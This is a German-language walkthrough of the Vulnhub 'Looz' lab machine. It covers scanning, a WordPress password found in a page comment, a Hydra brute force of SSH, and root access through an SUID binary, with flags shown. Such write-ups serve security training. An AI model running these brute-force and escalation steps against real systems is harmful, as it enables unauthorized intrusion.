Looz - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.135 08:00:27:87:26:98 PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l sendet ARP-Anfragen an das lokale Netzwerk, um Geräte zu identifizieren. Die Ausgabe zeigt die IP-Adresse und MAC-Adresse des Zielsystems sowie den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH).

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.135    looz.vuln
                

Die Datei /etc/hosts wird bearbeitet, um den Hostnamen looz.vuln der IP-Adresse 192.168.2.135 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.135 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-13 17:14 CEST
Nmap scan report for looz.vuln (192.168.2.135)
Host is up (0.00013s latency).
Not shown: 65529 filtered tcp ports (no-response)
PRT     STATE  SERVICE      VERSIN
22/tcp   open   ssh          penSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b4802386769719099d50b194c98da50c (RSA)
|   256 3d525e29fb2f29e801e45d1ba11ef34b (ECDSA)
|_  256 f0f477dc3d53c3c5358287a5ba57b449 (ED25519)
80/tcp   open   http         nginx 1.18.0 (Ubuntu)
|_http-title: Home
|_http-generator: Nicepage 3.15.3, nicepage.com
|_http-server-header: nginx/1.18.0 (Ubuntu)
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
3306/tcp open   mysql        MySQL 5.5.5-10.5.10-MariaDB-1:10.5.10+maria~focal
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.5.10-MariaDB-1:10.5.10+maria~focal
|   Thread ID: 40
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, SupportsCompression, FoundRows, Support41Auth, Speaks41Protocolld, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, InteractiveClient, IgnoreSpaceBeforeParenthesis, LongColumnFlag, DontAllowDatabaseTableColumn, DBCClient, SupportsLoadDataLocal, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: n8h$vKQ6ZC!wW.|H4i7u
|_  Auth Plugin Name: mysql_native_password
8081/tcp open   http         Apache httpd 2.4.38 ((Debian))
|_http-title: Did not follow redirect to http://looz.vuln/
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:87:26:98 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
S CPE: cpe:/o:linux:linux_kernel:5
S details: Linux 5.0 - 5.4
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.13 ms looz.vuln (192.168.2.135)
                

Der Befehl nmap -sS -sC -T5 -A 192.168.2.135 -p- führt einen umfassenden Nmap-Scan auf dem Zielsystem durch. Die Option -sS verwendet einen SYN-Scan, -sC führt Standard-Skripte aus, -T5 beschleunigt den Scan und -A aktiviert aggressive Scan-Optionen. Die Option -p- scannt alle Ports. Die Ausgabe zeigt, dass die Ports 22 (SSH), 80 (HTTP), 139, 445, 3306 (MySQL) und 8081 (HTTP) geöffnet sind. Dies deutet auf einen Webserver, SSH-Dienst und einen MySQL-Datenbankserver hin.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.135
- Nikto v2.5.0

+ Target IP:          192.168.2.135
+ Target Hostname:    192.168.2.135
+ Target Port:        80
+ Start Time:         2023-06-13 17:14:50 (GMT+2)

+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2023-06-13 17:15:00 (GMT+2) (10 seconds)

+ 1 host(s) tested
                

Der Befehl nikto -h 192.168.2.135 führt einen Nikto-Scan auf dem Zielsystem durch, um nach Sicherheitslücken im Webserver zu suchen. Die Ausgabe zeigt, dass verschiedene Sicherheitslücken gefunden wurden, z. B. das Fehlen von X-Frame-Options und X-Content-Type-Options Headern, eine veraltete Nginx-Version und das Vorhandensein der Datei /#wp-config.php#. Letzteres deutet auf eine mögliche WordPress-Konfigurationsdatei hin, die sensible Informationen enthalten könnte.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://looz.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://looz.vuln/index.html           (Status: 200) [Size: 37653]
http://looz.vuln/images               (Status: 301) [Size: 178] [--> http://looz.vuln/images/]
                

Der Befehl gobuster dir -u http://looz.vuln -x ... -w ... verwendet Gobuster, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen. Die Ausgabe zeigt, dass die Datei index.html und das Verzeichnis /images/ gefunden wurden.

Web Enumeration

index.html

 HTML Website Builder 
       
  john don't forget to remove this comment, for now wp password 
          is  y0uC@n'tbr3akIT
            

Durch die Analyse des Quellcodes von index.html wird ein Kommentar gefunden, der das Passwort für einen Benutzer namens John enthält: y0uC@n'tbr3akIT. Dies ist eine sehr wichtige Entdeckung, da es uns möglicherweise ermöglicht, uns beim System anzumelden.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://looz.vuln:8081 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://looz.vuln:8081/index.php            (Status: 301) [Size: 0] [--> http://looz.vuln/]
http://looz.vuln:8081/wp-content           (Status: 301) [Size: 318] [--> http://looz.vuln:8081/wp-content/]
http://looz.vuln:8081/wp-login.php         (Status: 200) [Size: 7156]
http://looz.vuln:8081/license.txt          (Status: 200) [Size: 19915]
http://looz.vuln:8081/wp-includes          (Status: 301) [Size: 319] [--> http://looz.vuln:8081/wp-includes/]
http://looz.vuln:8081/readme.html          (Status: 200) [Size: 7345]
http://looz.vuln:8081/wp-trackback.php     (Status: 200) [Size: 135]
http://looz.vuln:8081/wp-admin             (Status: 301) [Size: 316] [--> http://looz.vuln:8081/wp-admin/]
                

Der Befehl gobuster dir -u http://looz.vuln:8081 -x ... -w ... verwendet Gobuster erneut, diesmal jedoch auf Port 8081. Die Ausgabe zeigt, dass verschiedene WordPress-bezogene Dateien und Verzeichnisse gefunden wurden, was darauf hindeutet, dass auf diesem Port eine WordPress-Installation läuft.

┌──(root㉿cyber)-[~]
└─# curl http://looz.vuln:8081/index.php -Iv
*   Trying 192.168.2.135:8081...
* Connected to looz.vuln (192.168.2.135) port 8081 (#0)
> HEAD /index.php HTTP/1.1
> Host: looz.vuln:8081
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 13 Jun 2023 15:36:12 GMT
< Server: Apache/2.4.38 (Debian)
< X-Powered-By: PHP/7.4.20
< X-Redirect-By: WordPress
< Location: http://looz.vuln/
< Content-Type: text/html; charset=UTF-8

 ------------------------------------------------------------------------------------------------
            

Der Befehl curl http://looz.vuln:8081/index.php -Iv sendet eine HEAD-Anfrage an die index.php-Datei auf Port 8081 und zeigt die Header der Antwort an. Die Ausgabe zeigt, dass der Server Apache/2.4.38 (Debian) ist, PHP/7.4.20 verwendet und von WordPress umgeleitet wird.

Initial Access

hosts eintrag 
   192.168.2.135    looz.vuln wp.looz.com
            

Um die WordPress-Installation auf Port 8081 besser zu erreichen, wird der Hostname wp.looz.com der IP-Adresse 192.168.2.135 in der /etc/hosts-Datei hinzugefügt.

http://wp.looz.com/wp-login.php?redirect_to=http%3A%2F%2Fwp.looz.com%2Fwp-admin%2F&action=confirm_admin_email&wp_lang=en_US

Powered by WordPress
Administration email verification

Please verify that the administration email for this website is still correct. Why is this important? (opens in a new tab)	

Current administration email: john@looz.com	

This email may be different from your personal email address.
Update
Remind me later

← Go to Looz

Beim Besuch der WordPress-Login-Seite http://wp.looz.com/wp-login.php wird eine Benachrichtigung zur Bestätigung der Administrations-E-Mail-Adresse angezeigt. Die E-Mail-Adresse lautet john@looz.com.

┌──(root㉿cyber)-[~]
└─# hydra -l gandalf -P /usr/share/wordlists/rockyou.txt ssh://looz.vuln:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-13 18:07:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344404 login tries (l:1/p:14344404), ~224132 tries per task
[DATA] attacking ssh://looz.vuln:22/
------------------------------------------------------------------------------------------------
[22][ssh] host: looz.vuln   login: gandalf   password: highschoolmusical
------------------------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 15 final worker threads did not complete until end.
[ERRR] 15 targets did not resolve or could not be connected
[ERRR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-13 18:08:08
                

Der Befehl hydra -l gandalf -P /usr/share/wordlists/rockyou.txt ssh://looz.vuln:22 -t 64 verwendet Hydra, um einen Brute-Force-Angriff auf den SSH-Dienst auf dem Zielsystem durchzuführen. Es wird versucht, sich mit dem Benutzernamen "gandalf" und einer Liste von Passwörtern aus der "rockyou.txt"-Datei anzumelden. Hydra findet das Passwort highschoolmusical für den Benutzer gandalf.

┌──(root㉿cyber)-[~]
└─# ssh gandalf@looz.vuln
gandalf@looz.vuln's password: highschoolmusical

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSLUTELY N WARRANTY, to the extent permitted by
applicable law.

gandalf@looz$
                

Mit dem gefundenen Passwort highschoolmusical kann man sich erfolgreich als Benutzer gandalf über SSH anmelden.

Privilege Escalation

gandalf@looz:sudo -l
[sudo] password for gandalf: 
Sorry, user gandalf may not run sudo on looz.
                

Der Befehl sudo -l zeigt die sudo-Rechte des Benutzers gandalf an. Die Ausgabe zeigt, dass der Benutzer gandalf keine sudo-Rechte besitzt.

gandalf@looz:ls -la
total 24
drwxr-xr-x 2 gandalf gandalf 4096 Jun  7  2021 .
drwxr-xr-x 4 root    root    4096 Jun  7  2021 ..
-rw------- 1 gandalf gandalf   22 Jun  7  2021 .bash_history
-rw-r--r-- 1 gandalf gandalf  220 Jun  7  2021 .bash_logout
-rw-r--r-- 1 gandalf gandalf 3771 Jun  7  2021 .bashrc
-rw-r--r-- 1 gandalf gandalf  807 Jun  7  2021 .profile
                

Der Befehl ls -la listet den Inhalt des aktuellen Verzeichnisses (Home-Verzeichnis von gandalf) auf.

gandalf@looz:cat .bash_history
passwd
ls
ls -la
exit
                

Der Befehl cat .bash_history zeigt den Verlauf der Befehle, die der Benutzer gandalf ausgeführt hat.

gandalf@looz:ls -la /etc/passwd
-rw-r--r-- 1 root root 1891 Jun  7  2021 /etc/passwd
                

Der Befehl ls -la /etc/passwd zeigt die Berechtigungen der Datei /etc/passwd an.

gandalf@looz:id
uid=1001(gandalf) gid=1001(gandalf) groups=1001(gandalf)
                

Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers (gandalf) an.

gandalf@looz:ls -la /home/
total 16
drwxr-xr-x  4 root    root    4096 Jun  7  2021 .
drwxr-xr-x 21 root    root    4096 Jun  7  2021 ..
drwxr-xr-x  5 alatar  alatar  4096 Jun  7  2021 alatar
drwxr-xr-x  2 gandalf gandalf 4096 Jun  7  2021 gandalf
                

Der Befehl ls -la /home/ listet den Inhalt des /home-Verzeichnisses auf und zeigt, dass es ein Verzeichnis namens alatar gibt.

gandalf@looz:find / -type f -perm -4000 -ls 2>/dev/null
   133895     52 -rwsr-xr--   1 root     messagebus    51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   135381     24 -rwsr-xr-x   1 root     root          22840 May 26  2021 /usr/lib/policykit-1/polkit-agent-helper-1
   135107    128 -rwsr-xr-x   1 root     root         130152 Feb  2  2021 /usr/lib/snapd/snap-confine
   169705    464 -rwsr-xr-x   1 root     root         473576 Mar  9  2021 /usr/lib/openssh/ssh-keysign
   133902     16 -rwsr-xr-x   1 root     root          14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
   133083     84 -rwsr-xr-x   1 root     root          85064 May 28  2020 /usr/bin/chfn
   133346     56 -rwsr-xr-x   1 root     root          55528 Jul 21  2020 /usr/bin/mount
   133212     88 -rwsr-xr-x   1 root     root          88464 May 28  2020 /usr/bin/gpasswd
   133618     68 -rwsr-xr-x   1 root     root          67816 Jul 21  2020 /usr/bin/su
   133688     40 -rwsr-xr-x   1 root     root          39144 Jul 21  2020 /usr/bin/umount
   135379     32 -rwsr-xr-x   1 root     root          31032 May 26  2021 /usr/bin/pkexec
   133089     52 -rwsr-xr-x   1 root     root          53040 May 28  2020 /usr/bin/chsh
   133360     44 -rwsr-xr-x   1 root     root          44784 May 28  2020 /usr/bin/newgrp
   133393     68 -rwsr-xr-x   1 root     root          68208 May 28  2020 /usr/bin/passwd
   133015     56 -rwsr-sr-x   1 daemon   daemon        55560 Nov 12  2018 /usr/bin/at
   133619    164 -rwsr-xr-x   1 root     root         166056 Jan 19  2021 /usr/bin/sudo
   133194     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount
   286419     20 -rwsr-xr-x   1 root     root          16848 Jun  7  2021 /home/alatar/Private/shell_testv1.0
      821     84 -rwsr-xr-x   1 root     root          85064 Nov 29  2022 /snap/core20/1891/usr/bin/chfn
      827     52 -rwsr-xr-x   1 root     root          53040 Nov 29  2022 /snap/core20/1891/usr/bin/chsh
       81     44 -rwsr-xr-x   1 root     root          44664 Nov 29  2022 /snap/core18/2751/bin/su
       99     27 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /snap/core18/2751/bin/umount
     1728     75 -rwsr-xr-x   1 root     root          76496 Nov 29  2022 /snap/core18/2751/usr/bin/chfn
     1730     44 -rwsr-xr-x   1 root     root          44528 Nov 29  2022 /snap/core18/2751/usr/bin/chsh
     1783     75 -rwsr-xr-x   1 root     root          75824 Nov 29  2022 /snap/core18/2751/usr/bin/gpasswd
     1847     40 -rwsr-xr-x   1 root     root          40344 Nov 29  2022 /... (Fortsetzung von oben)

40344 Nov 29  2022 /snap/core18/2751/usr/bin/newgrp
     1860     59 -rwsr-xr-x   1 root     root          59640 Nov 29  2022 /snap/core18/2751/usr/bin/passwd
     1951    146 -rwsr-xr-x   1 root     root         149080 Apr  4 12:44 /snap/core18/2751/usr/bin/sudo
     2039     42 -rwsr-xr--   1 root     systemd-resolve    42992 Oct 25  2022 /snap/core18/2751/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2349    427 -rwsr-xr-x   1 root     root         436552 Mar 30  2022 /snap/core18/2751/usr/lib/openssh/ssh-keysign
                

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach allen Dateien mit dem SUID-Bit gesetzt. Das SUID-Bit erlaubt es einem Benutzer, eine ausführbare Datei mit den Rechten des Eigentümers der Datei auszuführen. Die Ausgabe zeigt eine Reihe von Dateien mit dem SUID-Bit, darunter auch /home/alatar/Private/shell_testv1.0, was ein Hinweis auf eine mögliche Privilege-Escalation-Möglichkeit ist.

Privilege Escalation

gandalf@looz:strings /home/alatar/Private/shell_testv1.0
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__stack_chk_fail
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
/bin/basH            <---
[]A\A]A^A_
:*3$"
                

Der Befehl strings /home/alatar/Private/shell_testv1.0 gibt die in der ausführbaren Datei /home/alatar/Private/shell_testv1.0 enthaltenen druckbaren Zeichenketten aus. Die Ausgabe zeigt, dass die Datei die Zeichenkette /bin/basH enthält, was darauf hindeutet, dass sie möglicherweise eine Shell startet.

gandalf@looz:ls -la /home/alatar/Private/shell_testv1.0
-rwsr-xr-x 1 root root 16848 Jun  7  2021 /home/alatar/Private/shell_testv1.0
                

Der Befehl ls -la /home/alatar/Private/shell_testv1.0 zeigt die Berechtigungen der Datei /home/alatar/Private/shell_testv1.0 an. Die Ausgabe bestätigt, dass die Datei das SUID-Bit gesetzt hat und dem Benutzer root gehört.

gandalf@looz:sudo -u alatar /home/alatar/Private/shell_testv1.0 -p
[sudo] password for gandalf: 
gandalf is not in the sudoers file.  This incident will be reported.
              

Der Befehl sudo -u alatar /home/alatar/Private/shell_testv1.0 -p versucht, die ausführbare Datei /home/alatar/Private/shell_testv1.0 als Benutzer alatar mit sudo auszuführen. Die Ausgabe zeigt, dass der Benutzer gandalf keine sudo-Rechte besitzt, daher schlägt der Befehl fehl.

gandalf@looz:/home/alatar/Private/shell_testv1.0 -p
root@looz:
              

Der Befehl /home/alatar/Private/shell_testv1.0 -p führt die ausführbare Datei /home/alatar/Private/shell_testv1.0 direkt aus. Da die Datei das SUID-Bit gesetzt hat und root gehört, wird die Datei mit Root-Rechten ausgeführt. Die Ausgabe zeigt, dass wir nun eine Root-Shell haben.

root@looz:find / | grep root.txt 2>/dev/null
/root/root.txt
                

Der Befehl find / | grep root.txt 2>/dev/null sucht nach der Datei root.txt auf dem gesamten System. Die Ausgabe zeigt, dass die Datei im Verzeichnis /root/ gefunden wurde.

root@looz:cat /root/root.txt
ab17850978e36aaf6a2b8808f1ded971
                

Der Befehl cat /root/root.txt liest den Inhalt der Datei /root/root.txt aus. Die Ausgabe zeigt die Root-Flagge: ab17850978e36aaf6a2b8808f1ded971.

root@looz:find / | grep user.txt 2>/dev/null
/home/alatar/user.txt
             

Der Befehl find / | grep user.txt 2>/dev/null sucht nach der Datei user.txt auf dem gesamten System. Die Ausgabe zeigt, dass die Datei im Verzeichnis /home/alatar/ gefunden wurde.

root@looz:cat /home/alatar/user.txt
9acf80de68fbb344573762e84cced6f3
                

Der Befehl cat /home/alatar/user.txt liest den Inhalt der Datei /home/alatar/user.txt aus. Die Ausgabe zeigt die User-Flagge: 9acf80de68fbb344573762e84cced6f3.

Privilege Escalation erfolgreich

Flags

cat root.txt ab17850978e36aaf6a2b8808f1ded971
cat user.txt 9acf80de68fbb344573762e84cced6f3